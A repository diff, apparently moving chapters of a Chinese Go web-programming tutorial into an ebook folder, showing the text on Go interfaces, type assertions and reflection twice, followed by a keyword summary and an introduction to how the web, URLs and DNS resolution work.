fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
//Employee的method重写Human的method
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark.SayHi()
sam.SayHi()
}
上面的代码设计的是如此的美妙让人不自觉的为Go的设计惊叹
通过这些内容我们可以设计出基本的面向对象的程序了但是Go里面的面向对象是如此的简单没有任何的私有、公有关键字通过大小写来实现(大写开头的为共有,小写开头的为私有),方法也同样适用这个原则。
## links
* [目录](<preface.md>)
* 上一章: [struct类型](<02.4.md>)
* 下一节: [interface](<02.6.md>)

790
02.6.md → ebook/02.6.md Executable file → Normal file
View File

@@ -1,395 +1,395 @@
# 2.6 interface
## interface
Go语言里面设计最精妙的应该算interface它让面向对象内容组织实现非常的方便当你看完这一章你就会被interface的巧妙设计所折服。
### 什么是interface
简单的说interface是一组method的组合我们通过interface来定义对象的一组行为。
我们前面一章最后一个例子中Student和Employee都能Sayhi虽然他们的内部实现不一样但是那不重要重要的是他们都能`say hi`
让我们来继续做更多的扩展Student和Employee实现另一个方法`Sing`然后Student实现方法BorrowMoney而Employee实现SpendSalary。
这样Student实现了三个方法Sayhi、Sing、BorrowMoney而Employee实现了Sayhi、Sing、SpendSalary。
上面这些方法的组合称为interface(被对象Student和Employee实现)。例如Student和Employee都实现了interfaceSayhi和Sing也就是这两个对象是该interface类型。而Employee没有实现这个interfaceSayhi、Sing和BorrowMoney因为Employee没有实现BorrowMoney这个方法。
### interface类型
interface类型定义了一组方法如果某个对象实现了某个接口的所有方法则此对象就实现了此接口。详细的语法参考下面这个例子
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段Human
school string
loan float32
}
type Employee struct {
Human //匿名字段Human
company string
money float32
}
//Human对象实现Sayhi方法
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
// Human对象实现Sing方法
func (h *Human) Sing(lyrics string) {
fmt.Println("La la, la la la, la la la la la...", lyrics)
}
//Human对象实现Guzzle方法
func (h *Human) Guzzle(beerStein string) {
fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
}
// Employee重载Human的Sayhi方法
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
//Student实现BorrowMoney方法
func (s *Student) BorrowMoney(amount float32) {
s.loan += amount // (again and again and...)
}
//Employee实现SpendSalary方法
func (e *Employee) SpendSalary(amount float32) {
e.money -= amount // More vodka please!!! Get me through the day!
}
// 定义interface
type Men interface {
SayHi()
Sing(lyrics string)
Guzzle(beerStein string)
}
type YoungChap interface {
SayHi()
Sing(song string)
BorrowMoney(amount float32)
}
type ElderlyGent interface {
SayHi()
Sing(song string)
SpendSalary(amount float32)
}
通过上面的代码我们可以知道interface可以被任意的对象实现。我们看到上面的Men interface被Human、Student和Employee实现。同理一个对象可以实现任意多个interface例如上面的Student实现了Men和YonggChap两个interface。
最后任意的类型都实现了空interface(我们这样定义interface{})也就是包含0个method的interface。
### interface值
那么interface里面到底能存什么值呢如果我们定义了一个interface的变量那么这个变量里面可以存实现这个interface的任意类型的对象。例如上面例子中我们定义了一个Men interface类型的变量m那么m里面可以存Human、Student或者Employee值。
因为m能够持有这三种类型的对象所以我们可以定义一个包含Men类型元素的slice这个slice可以被赋予实现了Men接口的任意结构的对象这个和我们传统意义上面的slice有所不同。
让我们来看一下下面这个例子
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段
school string
loan float32
}
type Employee struct {
Human //匿名字段
company string
money float32
}
//Human实现Sayhi方法
func (h Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
//Human实现Sing方法
func (h Human) Sing(lyrics string) {
fmt.Println("La la la la...", lyrics)
}
//Employee重载Human的SayHi方法
func (e Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
// Interface Men被Human,Student和Employee实现
// 因为这三个类型都实现了这两个方法
type Men interface {
SayHi()
Sing(lyrics string)
}
func main() {
mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000}
//定义Men类型的变量i
var i Men
//i能存储Student
i = mike
fmt.Println("This is Mike, a Student:")
i.SayHi()
i.Sing("November rain")
//i也能存储Employee
i = Tom
fmt.Println("This is Tom, an Employee:")
i.SayHi()
i.Sing("Born to be wild")
//定义了slice Men
fmt.Println("Let's use a slice of Men and see what happens")
x := make([]Men, 3)
//T这三个都是不同类型的元素但是他们实现了interface同一个接口
x[0], x[1], x[2] = paul, sam, mike
for _, value := range x{
value.SayHi()
}
}
通过上面的代码你会发现interface就是一组抽象方法的集合它必须由其他非interface类型实现而不能自我实现 go 通过interface实现了duck-typing:即"当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子,那么这只鸟就可以被称为鸭子"。
### 空interface
空interface(interface{})不包含任何的method正因为如此所有的类型都实现了空interface。空interface对于描述起不到任何的作用(因为它不包含任何的method但是空interface在我们需要存储任意类型的数值的时候相当有用因为它可以存储任意类型的数值。它有点类似于C语言的void*类型。
// 定义a为空接口
var a interface{}
var i int = 5
s := "Hello world"
// a可以存储任意类型的数值
a = i
a = s
一个函数把interface{}作为参数那么他可以接受任意类型的值作为参数如果一个函数返回interface{},那么也就可以返回任意类型的值。是不是很有用啊!
### interface函数参数
interface的变量可以持有任意实现该interface类型的对象这给我们编写函数(包括method)提供了一些额外的思考我们是不是可以通过定义interface参数让函数接受各种类型的参数。
举个例子fmt.Println是我们常用的一个函数但是你是否注意到它可以接受任意类型的数据。打开fmt的源码文件你会看到这样一个定义:
type Stringer interface {
String() string
}
也就是说任何实现了String方法的类型都能作为参数被fmt.Println调用,让我们来试一试
package main
import (
"fmt"
"strconv"
)
type Human struct {
name string
age int
phone string
}
// 通过这个方法 Human 实现了 fmt.Stringer
func (h Human) String() string {
return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱"
}
func main() {
Bob := Human{"Bob", 39, "000-7777-XXX"}
fmt.Println("This Human is : ", Bob)
}
现在我们再回顾一下前面的Box示例你会发现Color结构也定义了一个methodString。其实这也是实现了fmt.Stringer这个interface即如果需要某个类型能被fmt包以特殊的格式输出你就必须实现Stringer这个接口。如果没有实现这个接口fmt将以默认的方式输出。
//实现同样的功能
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
fmt.Println("The biggest one is", boxes.BiggestsColor())
实现了error接口的对象即实现了Error() string的对象使用fmt输出时会调用Error()方法因此不必再定义String()方法了。
### interface变量存储的类型
我们知道interface的变量里面可以存储任意类型的数值(该类型实现了interface)。那么我们怎么反向知道这个变量里面实际保存了的是哪个类型的对象呢?目前常用的有两种方法:
- Comma-ok断言
Go语言里面有一个语法可以直接判断是否是该类型的变量 value, ok = element.(T)这里value就是变量的值ok是一个bool类型element是interface变量T是断言的类型。
如果element里面确实存储了T类型的数值那么ok返回true否则返回false。
让我们通过一个例子来更加深入的理解。
package main
import (
"fmt"
"strconv"
)
type Element interface{}
type List [] Element
type Person struct {
name string
age int
}
//定义了String方法实现了fmt.Stringer
func (p Person) String() string {
return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 // an int
list[1] = "Hello" // a string
list[2] = Person{"Dennis", 70}
for index, element := range list {
if value, ok := element.(int); ok {
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
} else if value, ok := element.(string); ok {
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
} else if value, ok := element.(Person); ok {
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
} else {
fmt.Println("list[%d] is of a different type", index)
}
}
}
是不是很简单啊同时你是否注意到了多个ifs里面还记得我前面介绍流程里面讲过if里面允许初始化变量。
也许你注意到了我们断言的类型越多那么ifelse也就越多所以才引出了下面要介绍的switch。
- switch测试
最好的讲解就是代码例子,现在让我们重写上面的这个实现
package main
import (
"fmt"
"strconv"
)
type Element interface{}
type List [] Element
type Person struct {
name string
age int
}
//打印
func (p Person) String() string {
return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 //an int
list[1] = "Hello" //a string
list[2] = Person{"Dennis", 70}
for index, element := range list{
switch value := element.(type) {
case int:
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
case string:
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
case Person:
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
default:
fmt.Println("list[%d] is of a different type", index)
}
}
}
这里有一点需要强调的是:`element.(type)`语法不能在switch外的任何逻辑里面使用如果你要在switch外面判断一个类型就使用`comma-ok`
### 嵌入interface
Go里面真正吸引人的是他内置的逻辑语法就像我们在学习Struct时学习的匿名字段多么的优雅啊那么相同的逻辑引入到interface里面那不是更加完美了。如果一个interface1作为interface2的一个嵌入字段那么interface2隐式的包含了interface1里面的method。
我们可以看到源码包container/heap里面有这样的一个定义
type Interface interface {
sort.Interface //嵌入字段sort.Interface
Push(x interface{}) //a Push method to push elements into the heap
Pop() interface{} //a Pop elements that pops elements from the heap
}
我们看到sort.Interface其实就是嵌入字段把sort.Interface的所有method给隐式的包含进来了。也就是下面三个方法
type Interface interface {
// Len is the number of elements in the collection.
Len() int
// Less returns whether the element with index i should sort
// before the element with index j.
Less(i, j int) bool
// Swap swaps the elements with indexes i and j.
Swap(i, j int)
}
另一个例子就是io包下面的 io.ReadWriter 他包含了io包下面的Reader和Writer两个interface。
// io.ReadWriter
type ReadWriter interface {
Reader
Writer
}
### 反射
Go语言实现了反射所谓反射就是动态运行时的状态。我们一般用到的包是reflect包。如何运用reflect包官方的这篇文章详细的讲解了reflect包的实现原理[laws of reflection](http://golang.org/doc/articles/laws_of_reflection.html)
使用reflect一般分成三步下面简要的讲解一下要去反射是一个类型的值(这些值都实现了空interface)首先需要把它转化成reflect对象(reflect.Type或者reflect.Value根据不同的情况调用不同的函数)。这两种获取方式如下:
t := reflect.TypeOf(i) //得到类型的元数据,通过t我们能获取类型定义里面的所有元素
v := reflect.ValueOf(i) //得到实际的值通过v我们获取存储在里面的值还可以去改变值
转化为reflect对象之后我们就可以进行一些操作了也就是将reflect对象转化成相应的值例如
tag := t.Elem().Field(0).Tag //获取定义在struct里面的标签
name := v.Elem().Field(0).String() //获取存储在第一个字段里面的值
获取反射值能返回相应的类型和数值
var x float64 = 3.4
v := reflect.ValueOf(x)
fmt.Println("type:", v.Type())
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)
fmt.Println("value:", v.Float())
最后,反射的话,那么反射的字段必须是可修改的,我们前面学习过传值和传引用,这个里面也是一样的道理,反射的字段必须是可读写的意思是,如果下面这样写,那么会发生错误
var x float64 = 3.4
v := reflect.ValueOf(x)
v.SetFloat(7.1)
如果要修改相应的值,必须这样写
var x float64 = 3.4
p := reflect.ValueOf(&x)
v := p.Elem()
v.SetFloat(7.1)
上面只是对反射的简单介绍,更深入的理解还需要自己在编程中不断的实践。
## links
* [目录](<preface.md>)
* 上一章: [面向对象](<02.5.md>)
* 下一节: [并发](<02.7.md>)
# 2.6 interface
## interface
Go语言里面设计最精妙的应该算interface它让面向对象内容组织实现非常的方便当你看完这一章你就会被interface的巧妙设计所折服。
### 什么是interface
简单的说interface是一组method的组合我们通过interface来定义对象的一组行为。
我们前面一章最后一个例子中Student和Employee都能Sayhi虽然他们的内部实现不一样但是那不重要重要的是他们都能`say hi`
让我们来继续做更多的扩展Student和Employee实现另一个方法`Sing`然后Student实现方法BorrowMoney而Employee实现SpendSalary。
这样Student实现了三个方法Sayhi、Sing、BorrowMoney而Employee实现了Sayhi、Sing、SpendSalary。
上面这些方法的组合称为interface(被对象Student和Employee实现)。例如Student和Employee都实现了interfaceSayhi和Sing也就是这两个对象是该interface类型。而Employee没有实现这个interfaceSayhi、Sing和BorrowMoney因为Employee没有实现BorrowMoney这个方法。
### interface类型
interface类型定义了一组方法如果某个对象实现了某个接口的所有方法则此对象就实现了此接口。详细的语法参考下面这个例子
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段Human
school string
loan float32
}
type Employee struct {
Human //匿名字段Human
company string
money float32
}
//Human对象实现Sayhi方法
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
// Human对象实现Sing方法
func (h *Human) Sing(lyrics string) {
fmt.Println("La la, la la la, la la la la la...", lyrics)
}
//Human对象实现Guzzle方法
func (h *Human) Guzzle(beerStein string) {
fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
}
// Employee重载Human的Sayhi方法
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
//Student实现BorrowMoney方法
func (s *Student) BorrowMoney(amount float32) {
s.loan += amount // (again and again and...)
}
//Employee实现SpendSalary方法
func (e *Employee) SpendSalary(amount float32) {
e.money -= amount // More vodka please!!! Get me through the day!
}
// 定义interface
type Men interface {
SayHi()
Sing(lyrics string)
Guzzle(beerStein string)
}
type YoungChap interface {
SayHi()
Sing(song string)
BorrowMoney(amount float32)
}
type ElderlyGent interface {
SayHi()
Sing(song string)
SpendSalary(amount float32)
}
通过上面的代码我们可以知道interface可以被任意的对象实现。我们看到上面的Men interface被Human、Student和Employee实现。同理一个对象可以实现任意多个interface例如上面的Student实现了Men和YonggChap两个interface。
最后任意的类型都实现了空interface(我们这样定义interface{})也就是包含0个method的interface。
### interface值
那么interface里面到底能存什么值呢如果我们定义了一个interface的变量那么这个变量里面可以存实现这个interface的任意类型的对象。例如上面例子中我们定义了一个Men interface类型的变量m那么m里面可以存Human、Student或者Employee值。
因为m能够持有这三种类型的对象所以我们可以定义一个包含Men类型元素的slice这个slice可以被赋予实现了Men接口的任意结构的对象这个和我们传统意义上面的slice有所不同。
让我们来看一下下面这个例子
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段
school string
loan float32
}
type Employee struct {
Human //匿名字段
company string
money float32
}
//Human实现Sayhi方法
func (h Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
//Human实现Sing方法
func (h Human) Sing(lyrics string) {
fmt.Println("La la la la...", lyrics)
}
//Employee重载Human的SayHi方法
func (e Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
// Interface Men被Human,Student和Employee实现
// 因为这三个类型都实现了这两个方法
type Men interface {
SayHi()
Sing(lyrics string)
}
func main() {
mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000}
//定义Men类型的变量i
var i Men
//i能存储Student
i = mike
fmt.Println("This is Mike, a Student:")
i.SayHi()
i.Sing("November rain")
//i也能存储Employee
i = Tom
fmt.Println("This is Tom, an Employee:")
i.SayHi()
i.Sing("Born to be wild")
//定义了slice Men
fmt.Println("Let's use a slice of Men and see what happens")
x := make([]Men, 3)
//T这三个都是不同类型的元素但是他们实现了interface同一个接口
x[0], x[1], x[2] = paul, sam, mike
for _, value := range x{
value.SayHi()
}
}
通过上面的代码你会发现interface就是一组抽象方法的集合它必须由其他非interface类型实现而不能自我实现 go 通过interface实现了duck-typing:即"当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子,那么这只鸟就可以被称为鸭子"。
### 空interface
空interface(interface{})不包含任何的method正因为如此所有的类型都实现了空interface。空interface对于描述起不到任何的作用(因为它不包含任何的method但是空interface在我们需要存储任意类型的数值的时候相当有用因为它可以存储任意类型的数值。它有点类似于C语言的void*类型。
// 定义a为空接口
var a interface{}
var i int = 5
s := "Hello world"
// a可以存储任意类型的数值
a = i
a = s
一个函数把interface{}作为参数那么他可以接受任意类型的值作为参数如果一个函数返回interface{},那么也就可以返回任意类型的值。是不是很有用啊!
### interface函数参数
interface的变量可以持有任意实现该interface类型的对象这给我们编写函数(包括method)提供了一些额外的思考我们是不是可以通过定义interface参数让函数接受各种类型的参数。
举个例子fmt.Println是我们常用的一个函数但是你是否注意到它可以接受任意类型的数据。打开fmt的源码文件你会看到这样一个定义:
type Stringer interface {
String() string
}
也就是说任何实现了String方法的类型都能作为参数被fmt.Println调用,让我们来试一试
package main
import (
"fmt"
"strconv"
)
type Human struct {
name string
age int
phone string
}
// 通过这个方法 Human 实现了 fmt.Stringer
func (h Human) String() string {
return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱"
}
func main() {
Bob := Human{"Bob", 39, "000-7777-XXX"}
fmt.Println("This Human is : ", Bob)
}
现在我们再回顾一下前面的Box示例你会发现Color结构也定义了一个methodString。其实这也是实现了fmt.Stringer这个interface即如果需要某个类型能被fmt包以特殊的格式输出你就必须实现Stringer这个接口。如果没有实现这个接口fmt将以默认的方式输出。
//实现同样的功能
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
fmt.Println("The biggest one is", boxes.BiggestsColor())
实现了error接口的对象即实现了Error() string的对象使用fmt输出时会调用Error()方法因此不必再定义String()方法了。
### interface变量存储的类型
我们知道interface的变量里面可以存储任意类型的数值(该类型实现了interface)。那么我们怎么反向知道这个变量里面实际保存了的是哪个类型的对象呢?目前常用的有两种方法:
- Comma-ok断言
Go语言里面有一个语法可以直接判断是否是该类型的变量 value, ok = element.(T)这里value就是变量的值ok是一个bool类型element是interface变量T是断言的类型。
如果element里面确实存储了T类型的数值那么ok返回true否则返回false。
让我们通过一个例子来更加深入的理解。
package main
import (
"fmt"
"strconv"
)
type Element interface{}
type List [] Element
type Person struct {
name string
age int
}
//定义了String方法实现了fmt.Stringer
func (p Person) String() string {
return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 // an int
list[1] = "Hello" // a string
list[2] = Person{"Dennis", 70}
for index, element := range list {
if value, ok := element.(int); ok {
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
} else if value, ok := element.(string); ok {
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
} else if value, ok := element.(Person); ok {
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
} else {
fmt.Println("list[%d] is of a different type", index)
}
}
}
是不是很简单啊同时你是否注意到了多个ifs里面还记得我前面介绍流程里面讲过if里面允许初始化变量。
也许你注意到了我们断言的类型越多那么ifelse也就越多所以才引出了下面要介绍的switch。
- switch测试
最好的讲解就是代码例子,现在让我们重写上面的这个实现
package main
import (
"fmt"
"strconv"
)
type Element interface{}
type List [] Element
type Person struct {
name string
age int
}
//打印
func (p Person) String() string {
return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 //an int
list[1] = "Hello" //a string
list[2] = Person{"Dennis", 70}
for index, element := range list{
switch value := element.(type) {
case int:
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
case string:
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
case Person:
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
default:
fmt.Println("list[%d] is of a different type", index)
}
}
}
这里有一点需要强调的是:`element.(type)`语法不能在switch外的任何逻辑里面使用如果你要在switch外面判断一个类型就使用`comma-ok`
### 嵌入interface
Go里面真正吸引人的是他内置的逻辑语法就像我们在学习Struct时学习的匿名字段多么的优雅啊那么相同的逻辑引入到interface里面那不是更加完美了。如果一个interface1作为interface2的一个嵌入字段那么interface2隐式的包含了interface1里面的method。
我们可以看到源码包container/heap里面有这样的一个定义
type Interface interface {
sort.Interface //嵌入字段sort.Interface
Push(x interface{}) //a Push method to push elements into the heap
Pop() interface{} //a Pop elements that pops elements from the heap
}
我们看到sort.Interface其实就是嵌入字段把sort.Interface的所有method给隐式的包含进来了。也就是下面三个方法
type Interface interface {
// Len is the number of elements in the collection.
Len() int
// Less returns whether the element with index i should sort
// before the element with index j.
Less(i, j int) bool
// Swap swaps the elements with indexes i and j.
Swap(i, j int)
}
另一个例子就是io包下面的 io.ReadWriter 他包含了io包下面的Reader和Writer两个interface。
// io.ReadWriter
type ReadWriter interface {
Reader
Writer
}
### 反射
Go语言实现了反射所谓反射就是动态运行时的状态。我们一般用到的包是reflect包。如何运用reflect包官方的这篇文章详细的讲解了reflect包的实现原理[laws of reflection](http://golang.org/doc/articles/laws_of_reflection.html)
使用reflect一般分成三步下面简要的讲解一下要去反射是一个类型的值(这些值都实现了空interface)首先需要把它转化成reflect对象(reflect.Type或者reflect.Value根据不同的情况调用不同的函数)。这两种获取方式如下:
t := reflect.TypeOf(i) //得到类型的元数据,通过t我们能获取类型定义里面的所有元素
v := reflect.ValueOf(i) //得到实际的值通过v我们获取存储在里面的值还可以去改变值
转化为reflect对象之后我们就可以进行一些操作了也就是将reflect对象转化成相应的值例如
tag := t.Elem().Field(0).Tag //获取定义在struct里面的标签
name := v.Elem().Field(0).String() //获取存储在第一个字段里面的值
获取反射值能返回相应的类型和数值
var x float64 = 3.4
v := reflect.ValueOf(x)
fmt.Println("type:", v.Type())
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)
fmt.Println("value:", v.Float())
最后,反射的话,那么反射的字段必须是可修改的,我们前面学习过传值和传引用,这个里面也是一样的道理,反射的字段必须是可读写的意思是,如果下面这样写,那么会发生错误
var x float64 = 3.4
v := reflect.ValueOf(x)
v.SetFloat(7.1)
如果要修改相应的值,必须这样写
var x float64 = 3.4
p := reflect.ValueOf(&x)
v := p.Elem()
v.SetFloat(7.1)
上面只是对反射的简单介绍,更深入的理解还需要自己在编程中不断的实践。
## links
* [目录](<preface.md>)
* 上一章: [面向对象](<02.5.md>)
* 下一节: [并发](<02.7.md>)

0
02.7.md → ebook/02.7.md Executable file → Normal file
View File

62
02.8.md → ebook/02.8.md Executable file → Normal file
View File

@@ -1,31 +1,31 @@
# 2.8 总结
这一章我们主要介绍了Go语言的一些语法通过语法我们可以发现Go是多么的简单只有二十五个关键字。让我们再来回顾一下这些关键字都是用来干什么的。
break default func interface select
case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
- var和const参考2.2Go语言基础里面的变量和常量申明
- package和import已经有过短暂的接触
- func 用于定义函数和方法
- return 用于从函数返回
- defer 用于类似析构函数
- go 用于并行
- select 用于选择不同类型的通讯
- interface 用于定义接口参考2.6小节
- struct 用于定义抽象数据类型参考2.5小节
- break、case、continue、for、fallthrough、else、if、switch、goto、default这些参考2.3流程介绍里面
- chan用于channel通讯
- type用于声明自定义类型
- map用于声明map类型数据
- range用于读取slice、map、channel数据
上面这二十五个关键字记住了那么Go你也已经差不多学会了。
## links
* [目录](<preface.md>)
* 上一节: [并发](<02.7.md>)
* 下一章: [Web基础](<03.0.md>)
# 2.8 总结
这一章我们主要介绍了Go语言的一些语法通过语法我们可以发现Go是多么的简单只有二十五个关键字。让我们再来回顾一下这些关键字都是用来干什么的。
break default func interface select
case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
- var和const参考2.2Go语言基础里面的变量和常量申明
- package和import已经有过短暂的接触
- func 用于定义函数和方法
- return 用于从函数返回
- defer 用于类似析构函数
- go 用于并行
- select 用于选择不同类型的通讯
- interface 用于定义接口参考2.6小节
- struct 用于定义抽象数据类型参考2.5小节
- break、case、continue、for、fallthrough、else、if、switch、goto、default这些参考2.3流程介绍里面
- chan用于channel通讯
- type用于声明自定义类型
- map用于声明map类型数据
- range用于读取slice、map、channel数据
上面这二十五个关键字记住了那么Go你也已经差不多学会了。
## links
* [目录](<preface.md>)
* 上一节: [并发](<02.7.md>)
* 下一章: [Web基础](<03.0.md>)

22
03.0.md → ebook/03.0.md Executable file → Normal file
View File

@@ -1,11 +1,11 @@
# 3 Web基础
学习基于Web的编程可能正是你读本书的原因。事实上如何通过Go来编写Web应用也是我编写这本书的初衷。前面已经介绍过Go目前已经拥有了成熟的Http处理包这使得编写能做任何事情的动态Web程序易如反掌。在接下来的各章中将要介绍的内容都是属于Web编程的范畴。本章则集中讨论一些与Web相关的概念和Go如何运行Web程序的话题。
## 目录
![](images/navi3.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第二章总结](<02.8.md>)
* 下一节: [web工作方式](<03.1.md>)
# 3 Web基础
学习基于Web的编程可能正是你读本书的原因。事实上如何通过Go来编写Web应用也是我编写这本书的初衷。前面已经介绍过Go目前已经拥有了成熟的Http处理包这使得编写能做任何事情的动态Web程序易如反掌。在接下来的各章中将要介绍的内容都是属于Web编程的范畴。本章则集中讨论一些与Web相关的概念和Go如何运行Web程序的话题。
## 目录
![](images/navi3.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第二章总结](<02.8.md>)
* 下一节: [web工作方式](<03.1.md>)

318
03.1.md → ebook/03.1.md Executable file → Normal file
View File

@@ -1,159 +1,159 @@
# 3.1 Web工作方式
我们平时浏览网页的时候,会打开浏览器,输入网址后按下回车键,然后就会显示出你想要浏览的内容。在这个看似简单的用户行为背后,到底隐藏了些什么呢?
对于普通的上网过程系统其实是这样做的浏览器本身是一个客户端当你输入URL的时候首先浏览器会去请求DNS服务器通过DNS获取相应的域名对应的IP然后通过IP地址找到IP对应的服务器后要求建立TCP连接等浏览器发送完HTTP Request请求包后服务器接收到请求包之后才开始处理请求包服务器调用自身服务返回HTTP Response响应客户端收到来自服务器的响应后开始渲染这个Response包里的主体body等收到全部的内容随后断开与该服务器之间的TCP连接。
![](images/3.1.web2.png?raw=true)
图3.1 用户访问一个Web站点的过程
一个Web服务器也被称为HTTP服务器它通过HTTP协议与客户端通信。这个客户端通常指的是Web浏览器(其实手机端客户端内部也是浏览器实现的)。
Web服务器的工作原理可以简单地归纳为
- 客户机通过TCP/IP协议建立到服务器的TCP连接
- 客户端向服务器发送HTTP协议请求包请求服务器里的资源文档
- 服务器向客户机发送HTTP协议应答包如果请求的资源包含有动态语言的内容那么服务器会调用动态语言的解释引擎负责处理“动态内容”并将处理得到的数据返回给客户端
- 客户机与服务器断开。由客户端解释HTML文档在客户端屏幕上渲染图形结果
一个简单的HTTP事务就是这样实现的看起来很复杂原理其实是挺简单的。需要注意的是客户机与服务器之间的通信是非持久连接的也就是当服务器发送了应答后就与客户机断开连接等待下一次请求。
## URL和DNS解析
我们浏览网页都是通过URL访问的那么URL到底是怎么样的呢
URL(Uniform Resource Locator)是“统一资源定位符”的英文缩写,用于描述一个网络上的资源, 基本格式如下
schema://host[:port#]/path/.../[?query-string][#anchor]
scheme 指定低层使用的协议(例如http, https, ftp)
host HTTP服务器的IP地址或者域名
port# HTTP服务器的默认端口是80这种情况下端口号可以省略。如果使用了别的端口必须指明例如 http://www.cnblogs.com:8080/
path 访问资源的路径
query-string 发送给http服务器的数据
anchor 锚
DNS(Domain Name System)是“域名系统”的英文缩写是一种组织成域层次结构的计算机和网络服务命名系统它用于TCP/IP网络它从事将主机名或域名转换为实际IP地址的工作。DNS就是这样的一位“翻译官”它的基本工作原理可用下图来表示。
![](images/3.1.dns_hierachy.png?raw=true)
图3.2 DNS工作原理
更详细的DNS解析的过程如下这个过程有助于我们理解DNS的工作模式
1. 在浏览器中输入www.qq.com域名操作系统会先检查自己本地的hosts文件是否有这个网址映射关系如果有就先调用这个IP地址映射完成域名解析。
2. 如果hosts里没有这个域名的映射则查找本地DNS解析器缓存是否有这个网址映射关系如果有直接返回完成域名解析。
3. 如果hosts与本地DNS解析器缓存都没有相应的网址映射关系首先会找TCP/IP参数中设置的首选DNS服务器在此我们叫它本地DNS服务器此服务器收到查询时如果要查询的域名包含在本地配置区域资源中则返回解析结果给客户机完成域名解析此解析具有权威性。
4. 如果要查询的域名不由本地DNS服务器区域解析但该服务器已缓存了此网址映射关系则调用这个IP地址映射完成域名解析此解析不具有权威性。
5. 如果本地DNS服务器本地区域文件与缓存解析都失效则根据本地DNS服务器的设置是否设置转发器进行查询如果未用转发模式本地DNS就把请求发至 “根DNS服务器”“根DNS服务器”收到请求后会判断这个域名(.com)是谁来授权管理并会返回一个负责该顶级域名服务器的一个IP。本地DNS服务器收到IP信息后将会联系负责.com域的这台服务器。这台负责.com域的服务器收到请求后如果自己无法解析它就会找一个管理.com域的下一级DNS服务器地址(qq.com)给本地DNS服务器。当本地DNS服务器收到这个地址后就会找qq.com域服务器重复上面的动作进行查询直至找到www.qq.com主机。
6. 如果用的是转发模式此DNS服务器就会把请求转发至上一级DNS服务器由上一级服务器进行解析上一级服务器如果不能解析或找根DNS或把转请求转至上上级以此循环。不管是本地DNS服务器用是是转发还是根提示最后都是把结果返回给本地DNS服务器由此DNS服务器再返回给客户机。
![](images/3.1.dns_inquery.png?raw=true)
图3.3 DNS解析的整个流程
> 所谓 `递归查询过程` 就是 “查询的递交者” 更替, 而 `迭代查询过程` 则是 “查询的递交者”不变。
>
